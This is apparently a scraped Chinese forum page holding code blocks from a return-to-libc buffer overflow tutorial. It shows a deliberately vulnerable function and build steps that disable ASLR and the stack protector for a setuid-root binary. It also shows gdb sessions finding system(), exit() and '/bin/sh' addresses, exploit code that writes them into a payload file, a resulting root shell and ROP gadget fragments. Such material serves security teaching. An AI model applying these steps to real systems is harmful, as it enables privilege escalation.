1 2 3 4 5 6 7 8 9 10 | int bof(FILE *badfile) { ...... char buffer[12]; fread(buffer, sizeof(char), 50, badfile); ...... } |
1 2 3 4 5 | 第一步:编译漏洞程序 sudo sysctl -w kernel.randomize_va_space=0 gcc -g -fno-stack-protector -o retlibc retlibc.c sudo chown root:root retlibc sudo chmod 4755 retlibc |
1 2 3 4 5 6 7 8 9 | $gdb retlibc ...... (gdb)p/x *0xbffffe1c@4 $1={0x5f4e4942,0x2f3d4853,0x2f6e6962,0x48006873} (gdb)p/x *0xbffffe23@4 $2={0x6e69622f,0x68732f,0x454d4f48,0x6f682f3d} (gdb)x/8ub 0xbffffe23 0xbffffe23: 47 98 105 110 47 115 104 0 (gdb) |
1 2 3 4 5 6 7 | $gdb retlibc ...... (gdb) p system $1={<text variable, no debug info> 0x168680 <system> (gdb)p exit $2={<text variable, no debug info> 0x15e6e0 <exit> (gdb) |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | int main(int argc, char **argv) { ...... *(long *) &buf[24] = 0x168680 ; // system() *(long *) &buf[28] = 0x15e6e0 ; // exit() *(long *) &buf[32] = 0xbffffe24; // "/bin/sh" fwrite(buf, sizeof(buf), 1, badfile); ...... } |
1 2 3 | $./retlibc #exit $ |
1 2 3 4 5 6 7 8 9 10 | $gdb retlibc ...... (gdb)p/x $rdi $1=0x7fffffffe012 (gdb)set $rdi=0x7fffffffeddf (gdb)c continuing. $pwd /home/fmliu/paper $ |
1 2 3 4 5 6 7 8 | pop %rbx retq mov %rbx,%rax add $0xe0,%rsp pop %rbx retq move %rsp,%rdi callq *%eax |
欢迎光临 电子技术论坛_中国专业的电子工程师学习交流社区-中电网技术论坛 (http://bbs.eccn.com/) | Powered by Discuz! 7.0.0 |